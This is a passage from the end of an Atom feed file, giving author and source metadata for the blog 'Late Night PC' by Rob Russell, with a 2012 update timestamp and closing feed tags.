			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

</feed>

